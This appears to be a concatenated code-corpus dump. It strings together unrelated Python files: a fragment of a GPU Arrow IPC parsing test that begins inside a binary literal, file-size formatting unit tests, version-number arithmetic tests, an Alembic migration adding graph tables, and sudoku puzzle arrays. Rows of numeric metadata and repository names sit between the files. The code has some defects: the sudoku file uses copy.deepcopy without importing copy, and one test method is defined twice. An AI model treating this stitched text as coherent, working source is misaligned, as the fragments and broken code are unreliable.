4\xd7?\xe6y\x8a\x9b\xe4<\xef?\x08\x89\xc4.0W\xc5?h\xa5\x0f\x14\xa2\xe3\xbb?\xc0\xa9/\x8f\xeap\xb8?\x0c7\xed\x99fc\xda?:\tA.\xc6g\xda?\x1c\x1f)\xfd\x03\n\xc1?\xfe\x1e\xf9(/\xf0\xe3?\x08h\x99\x05\x81m\xe7?\xa0\xa8=\xfc\x96\x93\xcd?x\x8b\xf8v\xbe_\xc8?\xa2\xd9Zg\xd9\xb9\xed?;\xdb\xa6\xfas\xdb\xed?\xd8\xc9\xfcA-\xcd\xdd?@\xe27`\x0cQ\x94?d\x11:-\x8e\xcf\xd9?\xc9S\xde\xff\xbbN\xe5?\xe0o(\xf4s?\xba?\x0bq\xb9j%o\xeb?\x10\xe8\xa1t\t\x9b\xcb?\xa5\xf0\x15\t\x1ep\xed?\xc7\xb2~\x02\x82l\xef?0\xe6\xa8g\xec\x82\xc3?\xe0\xc6\xe8\xb1\xc2~\xd6?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' rb_cpu_data = np.ndarray(shape=len(recordbatches_bytes), dtype=np.byte, buffer=bytearray(recordbatches_bytes)) rb_gpu_data = cuda.to_device(rb_cpu_data) del cpu_data devptr = ffi.cast("void*", rb_gpu_data.device_ctypes_pointer.value) libgdf.gdf_ipc_parser_open_recordbatches(ipch, devptr, rb_gpu_data.size) if libgdf.gdf_ipc_parser_failed(ipch): print(libgdf.gdf_ipc_parser_get_error(ipch)) jsonraw = libgdf.gdf_ipc_parser_get_layout_json(ipch) jsontext = ffi.string(jsonraw).decode() json_rb = json.loads(jsontext) pprint(json_rb) offset = libgdf.gdf_ipc_parser_get_data_offset(ipch) libgdf.gdf_ipc_parser_close(ipch) # Check dicts = json_schema['dictionaries'] assert len(dicts) == 1 dictdata = dicts[0]['data']['columns'][0]['DATA'] assert set(dictdata) == {'orange', 'apple', 'pear', 'grape'} gpu_data = rb_gpu_data[offset:] schema_fields = json_schema['schema']['fields'] assert len(schema_fields) == 3 field_names = [f['name'] for f in schema_fields] assert field_names == ['idx', 'name', 'weight'] # check the dictionary id in schema assert schema_fields[1]['dictionary']['id'] == dicts[0]['id'] # Get "idx" column idx_buf_off = json_rb[0]['data_buffer']['offset'] idx_buf_len = json_rb[0]['data_buffer']['length'] idx_buf = gpu_data[idx_buf_off:][:idx_buf_len] assert json_rb[0]['dtype']['name'] == 'INT32' idx_size = json_rb[0]['length'] assert idx_size == 30 idx_data = np.ndarray(shape=idx_size, dtype=np.int32, buffer=idx_buf.copy_to_host()) print(idx_data) # Get "name" column name_buf_off = json_rb[1]['data_buffer']['offset'] name_buf_len = json_rb[1]['data_buffer']['length'] name_buf = gpu_data[name_buf_off:][:name_buf_len] assert json_rb[1]['dtype']['name'] == 'DICTIONARY' name_size = json_rb[1]['length'] name_data = np.ndarray(shape=name_size, dtype=np.int32, buffer=name_buf.copy_to_host()) print(name_data) # Get "name" column weight_buf_off = json_rb[2]['data_buffer']['offset'] weight_buf_len = json_rb[2]['data_buffer']['length'] weight_buf = gpu_data[weight_buf_off:][:weight_buf_len] assert json_rb[2]['dtype']['name'] == 'DOUBLE' weight_size = json_rb[2]['length'] weight_data = np.ndarray(shape=weight_size, dtype=np.float64, buffer=weight_buf.copy_to_host()) print(weight_data) # verify data sortedidx = np.argsort(idx_data) idx_data = idx_data[sortedidx] name_data = name_data[sortedidx] weight_data = weight_data[sortedidx] got_iter = zip(idx_data, name_data, weight_data) for expected, got in zip(get_expected_values(), got_iter): assert expected[0] == got[0] assert expected[1] == dictdata[got[1]] assert expected[2] == got[2]

71.162162

2,917

0.722845

2,097

10,532

3.549356

0.151168

0.59734

0.711004

0.722289

0.577455

0.49738

0.465135

0.400645

0.379417

0.36101

0

0.318912

0.078238

10,532

147

2,918

71.646259

0.447775

0.011679

0

0.053097

0

0.017699

0.661058

0.631827

0

1

0

0.106195

1

0.017699

false

0

0.044248

0

0.070796

0

null

1

0

1

0

1

0

1

0

1

null

1

0

9

673354e3055a7b1d71b08746c1c94df14e4db352

4,429

py

Python

TestFileSize1000_3.py

ytyaru/Python.FileSize.201702071138

569c45d5e9b91befbaece50520eb69955e148c65

[ "CC0-1.0" ]

null

TestFileSize1000_3.py

ytyaru/Python.FileSize.201702071138

569c45d5e9b91befbaece50520eb69955e148c65

[ "CC0-1.0" ]

6

2017-02-09T00:54:50.000Z

2017-02-09T10:56:13.000Z

TestFileSize1000_3.py

ytyaru/Python.FileSize.201702071138

569c45d5e9b91befbaece50520eb69955e148c65

[ "CC0-1.0" ]

null

import unittest import FileSize from decimal import Decimal class TestFileSize1000_3(unittest.TestCase): def test_999(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 999 self.assertEqual(self.__target.Get(actual), "999 B") def test_1000(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 1000 self.assertEqual(self.__target.Get(actual), "1 KB") def test_1023(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 1023 self.assertEqual(self.__target.Get(actual), "1.02 KB") def test_1024(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 1024 self.assertEqual(self.__target.Get(actual), "1.02 KB") def test_1000KB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 1000 * 1000 - 1 self.assertEqual(self.__target.Get(actual), "999.99 KB") def test_1MB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = 1000 * 1000 self.assertEqual(self.__target.Get(actual), "1 MB") def test_1000MB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 2) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 MB") def test_1GB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 2) * 1000) self.assertEqual(self.__target.Get(actual), "1 GB") def test_1000GB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 3) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 GB") def test_1TB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 3) * 1000) self.assertEqual(self.__target.Get(actual), "1 TB") def test_1000TB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 4) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 TB") def test_1PB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = ((1000 ** 4) * 1000) self.assertEqual(self.__target.Get(actual), "1 PB") def test_1000PB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 5) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 PB") def test_1EB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 5) * 1000) self.assertEqual(self.__target.Get(actual), "1 EB") def test_1000EB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 6) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 EB") def test_1ZB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 6) * 1000) self.assertEqual(self.__target.Get(actual), "1 ZB") def test_1000ZB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 7) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 ZB") def test_1YB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 7) * 1000) self.assertEqual(self.__target.Get(actual), "1 YB") def test_1000YB_1(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 8) * 1000) - 1 self.assertEqual(self.__target.Get(actual), "999.99 YB") def test_1YB(self): self.__target = FileSize.FileSize(byte_size_of_unit=1000, integral_figure_num=3) actual = Decimal((1000 ** 7) * 1000) self.assertEqual(self.__target.Get(actual), "1 YB")

47.117021

88

0.671032

617

4,429

4.47812

0.097245

0.14477

0.101339

0.159247

0.882012

0.868621

0.779949

0

0.11064

0.202077

4,429

93

89

47.623656

0.671194

0

0.333333

0

0.028681

0

0.238095

1

0.238095

false

0

0.035714

0

0.285714

0

null

0

1

0

null

0

1

0

7

673e386142a796b3285cf69ff042edd4f8d665b3

130

py

Python

src/teams/models/__init__.py

ighanim/aws-cost-anomaly-alerts

ad6d601c7dbdfbdf22f174ea16e76c7ef268edda

[ "MIT" ]

null

src/teams/models/__init__.py

ighanim/aws-cost-anomaly-alerts

ad6d601c7dbdfbdf22f174ea16e76c7ef268edda

[ "MIT" ]

null

src/teams/models/__init__.py

ighanim/aws-cost-anomaly-alerts

ad6d601c7dbdfbdf22f174ea16e76c7ef268edda

[ "MIT" ]

null

from .adaptive_card_elements import factSet from .adaptive_card_elements import fact from .adaptive_card_elements import textBlock

43.333333

45

0.892308

18

130

6.111111

0.444444

0.327273

0.436364

0.654545

0.818182

0

0.084615

130

3

45

43.333333

0.92437

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

67953587e7978cd283fb91f0db8d14881eee4c33

2,474

py

Python

tests/test_math.py

CPSuperstore/PyVersionNumber

eef7dc45469603c0875c8359c562a72f48fe761c

[ "MIT" ]

null

tests/test_math.py

CPSuperstore/PyVersionNumber

eef7dc45469603c0875c8359c562a72f48fe761c

[ "MIT" ]

null

tests/test_math.py

CPSuperstore/PyVersionNumber

eef7dc45469603c0875c8359c562a72f48fe761c

[ "MIT" ]

null

import unittest import sys sys.path.append('..') from PyVersionNumber import VersionNumber class TestCaseMath(unittest.TestCase): def test_addition(self): self.assertEqual(VersionNumber(1, 2, 3) + VersionNumber(3, 2, 1), VersionNumber(4, 4, 4)) self.assertEqual(VersionNumber(1, 2, 3) + VersionNumber(1, 2, 3), VersionNumber(2, 4, 6)) self.assertEqual(VersionNumber(1, 1, 1) + VersionNumber(2, 2, 2), VersionNumber(3, 3, 3)) def test_subtraction(self): self.assertEqual(VersionNumber(1, 2, 3) - VersionNumber(3, 2, 1), VersionNumber(-2, 0, 2)) self.assertEqual(VersionNumber(1, 2, 3) - VersionNumber(1, 2, 3), VersionNumber(0, 0, 0)) self.assertEqual(VersionNumber(1, 1, 1) - VersionNumber(2, 2, 2), VersionNumber(-1, -1, -1)) def test_multiplication(self): self.assertEqual(VersionNumber(1, 2, 3) * VersionNumber(3, 2, 1), VersionNumber(3, 4, 3)) self.assertEqual(VersionNumber(1, 2, 3) * VersionNumber(1, 2, 3), VersionNumber(1, 4, 9)) self.assertEqual(VersionNumber(1, 1, 1) * VersionNumber(2, 2, 2), VersionNumber(2, 2, 2)) def test_division(self): self.assertEqual(VersionNumber(1, 2, 3) / VersionNumber(3, 2, 1), VersionNumber(0, 1, 3)) self.assertEqual(VersionNumber(1, 2, 3) / VersionNumber(1, 2, 3), VersionNumber(1, 1, 1)) self.assertEqual(VersionNumber(1, 1, 1) / VersionNumber(2, 2, 2), VersionNumber(0, 0, 0)) def test_floor_division(self): self.assertEqual(VersionNumber(1, 2, 3) // VersionNumber(3, 2, 1), VersionNumber(0, 1, 3)) self.assertEqual(VersionNumber(1, 2, 3) // VersionNumber(1, 2, 3), VersionNumber(1, 1, 1)) self.assertEqual(VersionNumber(1, 1, 1) // VersionNumber(2, 2, 2), VersionNumber(0, 0, 0)) def test_exponent(self): self.assertEqual(VersionNumber(1, 2, 3) ** VersionNumber(3, 2, 1), VersionNumber(1, 4, 3)) self.assertEqual(VersionNumber(1, 2, 3) ** VersionNumber(1, 2, 3), VersionNumber(1, 4, 27)) self.assertEqual(VersionNumber(1, 1, 1) ** VersionNumber(2, 2, 2), VersionNumber(1, 1, 1)) def test_modulus(self): self.assertEqual(VersionNumber(1, 2, 3) % VersionNumber(3, 2, 1), VersionNumber(1, 0, 0)) self.assertEqual(VersionNumber(1, 2, 3) % VersionNumber(1, 2, 3), VersionNumber(0, 0, 0)) self.assertEqual(VersionNumber(1, 1, 1) % VersionNumber(2, 2, 2), VersionNumber(1, 1, 1)) if __name__ == '__main__': unittest.main()

52.638298

100

0.652789

343

2,474

4.661808

0.09621

0.323952

0.36773

0.380863

0.861163

0.859912

0

0.09392

0.182296

2,474

46

101

53.782609

0.69649

0

0.004042

0

0.6

1

0.2

false

0

0.085714

0

0.314286

0

null

1

0

null

0

1

0

10

67c42738b5c6c07406322f85ebd4a8e80e63155a

3,278

py

Python

timesketch/migrations/versions/654121a84a33_.py

wajihyassine/timesketch

b099d1afb33d0b9f906a0ad407979c8f22a54476

[ "Apache-2.0" ]

1,810

2015-01-03T22:34:45.000Z

2022-03-30T10:23:18.000Z

timesketch/migrations/versions/654121a84a33_.py

wajihyassine/timesketch

b099d1afb33d0b9f906a0ad407979c8f22a54476

[ "Apache-2.0" ]

1,291

2015-01-08T00:00:12.000Z

2022-03-29T03:26:58.000Z

timesketch/migrations/versions/654121a84a33_.py

wajihyassine/timesketch

b099d1afb33d0b9f906a0ad407979c8f22a54476

[ "Apache-2.0" ]

519

2015-01-20T09:26:06.000Z

2022-03-29T11:02:10.000Z

"""Add Graph and GraphCache models Revision ID: 654121a84a33 Revises: fc7bc5c66c63 Create Date: 2020-11-16 21:02:36.249989 """ # revision identifiers, used by Alembic. revision = '654121a84a33' down_revision = 'fc7bc5c66c63' from alembic import op import sqlalchemy as sa def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('graph', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('sketch_id', sa.Integer(), nullable=True), sa.Column('name', sa.UnicodeText(), nullable=True), sa.Column('description', sa.UnicodeText(), nullable=True), sa.Column('graph_config', sa.UnicodeText(), nullable=True), sa.Column('graph_elements', sa.UnicodeText(), nullable=True), sa.Column('graph_thumbnail', sa.UnicodeText(), nullable=True), sa.Column('num_nodes', sa.Integer(), nullable=True), sa.Column('num_edges', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['sketch_id'], ['sketch.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_table('graphcache', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('sketch_id', sa.Integer(), nullable=True), sa.Column('graph_plugin', sa.UnicodeText(), nullable=True), sa.Column('graph_config', sa.UnicodeText(), nullable=True), sa.Column('graph_elements', sa.UnicodeText(), nullable=True), sa.Column('num_nodes', sa.Integer(), nullable=True), sa.Column('num_edges', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['sketch_id'], ['sketch.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_table('graph_comment', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('comment', sa.UnicodeText(), nullable=True), sa.Column('parent_id', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['parent_id'], ['graph.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_table('graph_label', sa.Column('id', sa.Integer(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=True), sa.Column('updated_at', sa.DateTime(), nullable=True), sa.Column('label', sa.Unicode(length=255), nullable=True), sa.Column('parent_id', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['parent_id'], ['graph.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('graph_label') op.drop_table('graph_comment') op.drop_table('graphcache') op.drop_table('graph') # ### end Alembic commands ###

40.469136

66

0.669311

409

3,278

5.254279

0.171149

0.122848

0.188925

0.232666

0.791531

0.789204

0.767799

0.765472

0.703583

0

0.019497

0.139414

3,278

80

67

40.975

0.74229

0.095485

0

0.612903

0

0.173839

0

1

0.032258

false

0

0.032258

0

0.064516

0

null

0

1

0

1

0

null

0

7

67c9030818c75de83803b6eecb210c3c660e11e2

15,725

py

Python

sudoku.py

NavSanya/ML-Sudoku-Analysis

51c22a444e518e367840415fcad52a3e12f4d13a

[ "MIT" ]

3

2021-04-21T03:54:51.000Z

2021-11-03T04:19:33.000Z

sudoku.py

NavSanya/ML-Sudoku-Analysis

51c22a444e518e367840415fcad52a3e12f4d13a

[ "MIT" ]

null

sudoku.py

NavSanya/ML-Sudoku-Analysis

51c22a444e518e367840415fcad52a3e12f4d13a

[ "MIT" ]

2

2021-04-15T03:29:42.000Z

2022-02-10T01:12:54.000Z

#CSCI 191T Biology inspired ML #Project 1 #Sudoku solver import numpy as np sudoku1 = [ [0,0,0,4,0,0,2,0,0], [7,0,8,5,2,6,0,9,0], [5,0,0,0,1,0,0,0,0], [2,3,5,0,0,0,0,0,1], [0,0,6,0,7,0,4,0,0], [4,0,0,0,0,0,6,3,9], [0,0,0,0,3,0,0,0,7], [0,6,0,1,5,2,9,0,4], [0,0,4,0,0,8,0,0,0]] sudoku2 = [ [0,0,0,0,1,2,8,4,5], [0,1,0,7,0,0,0,3,0], [0,8,0,6,0,9,0,0,0], [2,0,0,0,0,7,4,0,0], [0,0,5,0,0,0,9,0,0], [0,0,8,9,0,0,0,0,2], [0,0,0,1,0,3,0,9,0], [0,3,0,0,0,4,0,8,0], [1,5,9,2,6,0,0,0,0]] sudoku3 = [ [9,8,7,0,0,0,3,0,0], [1,6,0,0,8,0,0,9,0], [0,0,0,0,0,4,1,0,6], [0,2,0,0,0,6,0,0,8], [0,0,0,5,0,7,0,0,0], [3,0,0,9,0,0,0,6,0], [2,0,8,4,0,0,0,0,0], [0,7,0,0,1,0,0,5,9], [0,0,5,0,0,0,8,2,3]] sudoku4 = [ [0,1,6,0,0,0,0,3,0], [8,0,0,9,0,0,2,0,6], [0,0,0,0,0,0,0,5,8], [0,7,2,4,0,6,0,0,0], [0,6,9,0,7,0,4,2,0], [0,0,0,3,0,5,9,6,0], [1,3,0,0,0,0,0,0,0], [6,0,4,0,0,1,0,0,5], [0,2,0,0,0,0,8,1,0]] sudoku5 = [ [0,3,0,6,0,5,0,8,0], [7,0,0,3,0,0,0,0,0], [0,0,0,9,7,0,5,4,0], [0,6,7,0,0,0,3,0,8], [0,2,0,0,0,0,0,6,0], [4,0,9,0,0,0,7,5,0], [0,9,5,0,3,4,0,0,0], [0,0,0,0,0,7,0,0,2], [0,7,0,1,0,6,0,9,0]] sudoku6 = [ [1,0,0,5,0,6,0,9,0], [0,3,0,0,8,0,4,0,0], [6,0,0,0,7,0,1,0,2], [0,0,0,0,0,7,0,2,4], [7,0,0,0,9,0,0,0,8], [9,2,0,6,0,0,0,0,0], [3,0,2,0,5,0,0,0,6], [0,0,1,0,6,0,0,5,0], [0,9,0,8,0,1,0,0,7]] sudoku7 = [ [0,0,0,0,0,5,1,7,0], [5,0,9,6,0,1,0,8,0], [0,8,2,0,4,0,0,0,5], [0,0,3,0,0,0,0,0,0], [0,1,0,8,0,7,0,2,0], [0,0,0,0,0,0,5,0,0], [7,0,0,0,9,0,6,5,0], [0,5,0,4,0,6,7,0,8], [0,3,6,5,0,0,0,0,0]] sudoku8 = [ [4,0,0,0,0,1,3,0,0], [0,2,0,0,3,0,0,7,6], [0,0,0,0,0,9,0,4,8], [0,6,0,0,0,7,2,5,0], [0,1,0,0,4,0,0,3,0], [0,5,7,3,0,0,0,9,0], [6,7,0,1,0,0,0,0,0], [1,9,0,0,5,0,0,6,0], [0,0,5,8,0,0,0,0,3]] sudoku9 = [ [5,0,0,0,4,7,0,8,0], [0,7,0,5,0,0,0,0,0], [9,0,8,0,6,0,0,2,5], [0,2,0,0,0,3,0,0,0], [7,0,0,8,0,6,0,0,3], [0,0,0,9,0,0,0,4,0], [2,1,0,0,3,0,8,0,6], [0,0,0,0,0,9,0,5,0], [0,8,0,1,2,0,0,0,7]] sudoku10 = [[3,2,0,0,8,0,0,0,1], [0,5,0,0,0,0,0,0,9], [8,9,1,0,7,0,3,0,0], [5,1,0,0,4,0,0,0,0], [0,0,0,7,0,3,0,0,0], [0,0,0,0,6,0,0,9,4], [0,0,8,0,3,0,9,4,6], [4,0,0,0,0,0,0,8,0], [9,0,0,0,1,0,0,5,3]] sudoku11 = [[2,0,0,0,0,1,0,6,8], [1,8,4,0,0,0,0,0,0], [7,0,0,0,0,2,9,0,0], [0,4,1,0,2,0,0,7,0], [0,0,7,0,0,0,8,0,0], [0,6,0,0,3,0,1,5,0], [0,0,5,2,0,0,0,0,4], [0,0,0,0,0,0,2,8,7], [4,9,0,3,0,0,0,0,6]] sudoku12 = [[6,1,0,0,0,9,0,0,2], [0,0,0,2,0,0,0,0,5], [0,0,5,1,6,4,8,0,0], [2,3,0,0,0,5,1,0,0], [0,0,0,0,0,0,0,0,0], [0,0,9,3,0,0,0,4,8], [0,0,6,9,1,8,5,0,0], [5,0,0,0,0,3,0,0,0], [8,0,0,7,0,0,0,9,6]] sudoku13 = [[0,0,0,0,2,8,0,0,0], [0,7,0,9,4,0,0,1,6], [6,0,0,0,0,0,2,0,8], [0,3,0,0,6,2,0,0,0], [0,0,2,4,0,7,9,0,0], [0,0,0,3,9,0,0,7,0], [1,0,7,0,0,0,0,0,4], [5,2,0,0,3,4,0,8,0], [0,0,0,7,8,0,0,0,0]] sudoku14 = [[0,0,4,9,0,0,0,2,0], [5,2,0,6,0,0,0,0,7], [0,3,0,0,0,0,0,4,6], [8,0,0,3,7,0,2,0,0], [0,0,5,0,6,0,4,0,0], [0,0,2,0,5,9,0,0,8], [4,1,0,0,0,0,0,8,0], [2,0,0,0,0,1,0,6,9], [0,6,0,0,0,3,7,0,0]] sudoku15 = [[0,6,8,0,0,9,0,0,0], [0,1,0,0,6,0,0,5,0], [7,0,0,5,0,1,8,0,0], [6,0,2,0,4,0,0,7,5], [0,0,0,0,0,0,0,0,0], [3,5,0,0,1,0,2,0,9], [0,0,5,3,0,6,0,0,1], [0,9,0,0,2,0,0,3,0], [0,0,0,1,0,0,7,9,0]] sudoku16 = [[0,0,0,4,0,2,8,1,6], [0,0,0,8,6,7,0,2,0], [0,0,6,0,0,0,0,0,0], [7,0,5,6,0,0,0,0,0], [9,0,0,3,0,5,0,0,1], [0,0,0,0,0,4,2,0,9], [0,0,0,0,0,0,4,0,0], [0,7,0,9,1,3,0,0,0], [6,5,2,7,0,8,0,0,0]] sudoku17 = [[0,6,0,1,0,0,2,0,0], [0,3,0,0,2,4,6,0,7], [0,0,2,0,0,0,0,0,8], [0,0,0,0,0,0,5,0,4], [0,7,8,2,0,6,9,3,0], [3,0,1,0,0,0,0,0,0], [6,0,0,0,0,0,3,0,0], [2,0,3,9,7,0,0,1,0], [0,0,4,0,0,8,0,2,0]] sudoku18 = [[0,4,0,9,0,6,0,0,0], [0,0,8,0,0,0,4,7,1], [0,7,3,0,1,0,0,6,2], [0,0,4,0,0,3,0,1,0], [0,0,0,0,0,0,0,0,0], [0,1,0,6,0,0,8,0,0], [1,9,0,0,3,0,2,4,0], [3,2,5,0,0,0,7,0,0], [0,0,0,5,0,2,0,9,0]] sudoku19 = [[0,2,8,0,0,0,0,0,9], [0,0,4,0,0,2,8,3,0], [0,9,0,8,0,6,0,0,0], [0,0,6,0,0,8,0,7,0], [0,3,0,4,0,7,0,2,0], [0,4,0,6,0,0,9,0,0], [0,0,0,2,0,1,0,8,0], [0,6,2,7,0,0,1,0,0], [3,0,0,0,0,0,2,4,0]] sudoku20 = [[0,0,7,3,0,0,8,0,0], [8,0,3,1,5,0,0,9,0], [0,0,1,6,0,0,0,0,0], [7,9,0,0,0,0,2,1,6], [0,0,0,0,0,0,0,0,0], [1,8,2,0,0,0,0,3,4], [0,0,0,0,0,5,4,0,0], [0,5,0,0,2,8,1,0,3], [0,0,4,0,0,3,9,0,0]] sudoku21 = [[1,3,4,5,0,6,0,9,0], [0,0,0,0,0,9,0,0,0], [6,9,0,0,7,1,0,0,0], [4,0,3,0,0,0,1,0,0], [0,1,0,0,0,0,0,7,0], [0,0,2,0,0,0,5,0,4], [0,0,0,1,9,0,0,4,6], [0,0,0,8,0,0,0,0,0], [0,5,0,7,0,3,9,8,1]] sudoku22 = [[1,0,3,0,0,2,7,8,0], [0,0,0,0,0,3,2,0,0], [0,4,6,0,7,5,0,0,1], [0,0,1,0,0,0,8,0,4], [0,0,0,0,0,0,0,0,0], [7,0,8,0,0,0,5,0,0], [6,0,0,9,4,0,1,5,0], [0,0,9,3,0,0,0,0,0], [0,1,4,7,0,0,3,0,9]] sudoku23 = [[0,0,7,0,5,0,0,2,9], [4,9,0,0,0,0,7,6,0], [0,0,0,0,1,0,0,0,0], [1,3,0,5,0,0,0,7,0], [0,7,4,0,0,0,8,3,0], [0,8,0,0,0,3,0,1,2], [0,0,0,0,4,0,0,0,0], [0,4,9,0,0,0,0,8,6], [7,5,0,0,9,0,1,0,0]] sudoku24 = [[0,1,0,0,7,0,0,0,0], [0,7,6,9,0,0,8,5,3], [0,0,0,3,0,4,0,0,0], [0,6,7,0,5,0,2,0,9], [0,0,0,0,0,0,0,0,0], [1,0,8,0,9,0,7,4,0], [0,0,0,1,0,7,0,0,0], [2,8,1,0,0,9,4,6,0], [0,0,0,0,2,0,0,9,0]] sudoku25 = [[0,5,0,0,0,2,0,0,9], [0,0,0,0,1,9,0,0,7], [0,0,8,3,4,0,0,0,0], [0,0,0,4,0,0,0,9,3], [7,0,3,9,2,8,4,0,5], [9,6,0,0,0,5,0,0,0], [0,0,0,0,9,3,8,0,0], [2,0,0,7,6,0,0,0,0], [3,0,0,8,0,0,0,1,0]] sudoku26 = [[0,0,0,2,8,0,0,0,0], [4,9,0,0,0,5,0,2,0], [0,0,2,0,0,0,5,3,7], [9,0,0,0,0,8,0,7,0], [0,0,7,1,0,2,4,0,0], [0,8,0,3,0,0,0,0,6], [7,4,6,0,0,0,9,0,0], [0,1,0,5,0,0,0,6,3], [0,0,0,0,7,1,0,0,0]] sudoku27 = [[0,0,7,0,0,0,0,0,0], [1,0,9,5,6,0,0,0,0], [0,5,0,0,0,8,0,0,2], [8,3,2,0,0,6,1,0,0], [7,4,0,0,0,0,0,9,6], [0,0,6,2,0,0,4,8,3], [2,0,0,9,0,0,0,5,0], [0,0,0,0,4,7,6,0,8], [0,0,0,0,0,0,3,0,0]] sudoku28 = [[8,0,0,4,5,0,7,0,0], [0,0,0,0,2,0,3,0,0], [9,0,7,3,0,8,0,0,2], [0,6,0,0,0,0,0,0,3], [0,8,4,0,9,0,2,7,0], [7,0,0,0,0,0,0,5,0], [2,0,0,6,0,7,5,0,4], [0,0,8,0,4,0,0,0,0], [0,0,5,0,1,3,0,0,9]] sudoku29 = [[0,5,0,0,8,0,6,4,0], [0,0,7,0,0,1,9,0,0], [3,0,0,0,2,9,0,0,1], [0,0,8,0,0,2,0,7,3], [0,0,0,0,5,0,0,0,0], [2,9,0,8,0,0,1,0,0], [6,0,0,9,1,0,0,0,7], [0,0,2,3,0,0,4,0,0], [0,3,1,0,7,0,0,5,0]] sudoku30 = [[1,0,0,8,5,0,3,0,6], [0,0,0,0,6,0,0,8,0], [5,0,8,0,0,4,0,0,9], [0,0,0,3,0,0,0,0,1], [0,9,1,0,0,0,2,7,0], [3,0,0,0,0,2,0,0,0], [9,0,0,6,0,0,1,0,7], [0,5,0,0,9,0,0,0,0], [8,0,7,0,4,3,0,0,2]] #list containing each sudoku puzzle before any modifications sudoList_Non_NP = [sudoku1, sudoku2,sudoku3,sudoku4,sudoku5,sudoku6,sudoku7, sudoku8,sudoku9,sudoku10,sudoku11,sudoku12,sudoku13,sudoku14, sudoku15,sudoku16,sudoku17,sudoku18,sudoku19,sudoku20, sudoku21,sudoku22,sudoku23,sudoku24,sudoku25,sudoku26, sudoku27,sudoku28,sudoku29,sudoku30] """ Creates deepcopy of sudoku puzzles that can be modified and reset Python by default creates Shallow copies, this solves issues with Satisfyability.py where when solving a puzzle again the initial puzzle was already the solved puzzle """ copy_sudoku_lists = [] for i in sudoList_Non_NP: copy_sudoku_lists.append(copy.deepcopy(i)) sudo1=np.reshape(sudoku1,(9,9)) sudo2=np.reshape(sudoku2,(9,9)) sudo3=np.reshape(sudoku3,(9,9)) sudo4=np.reshape(sudoku4,(9,9)) sudo5=np.reshape(sudoku5,(9,9)) sudo6=np.reshape(sudoku6,(9,9)) sudo7=np.reshape(sudoku7,(9,9)) sudo8=np.reshape(sudoku8,(9,9)) sudo9=np.reshape(sudoku9,(9,9)) sudo10=np.reshape(sudoku10,(9,9)) sudo11=np.reshape(sudoku11,(9,9)) sudo12=np.reshape(sudoku12,(9,9)) sudo13=np.reshape(sudoku13,(9,9)) sudo14=np.reshape(sudoku14,(9,9)) sudo15=np.reshape(sudoku15,(9,9)) sudo16=np.reshape(sudoku16,(9,9)) sudo17=np.reshape(sudoku17,(9,9)) sudo18=np.reshape(sudoku18,(9,9)) sudo19=np.reshape(sudoku19,(9,9)) sudo20=np.reshape(sudoku20,(9,9)) sudo21=np.reshape(sudoku21,(9,9)) 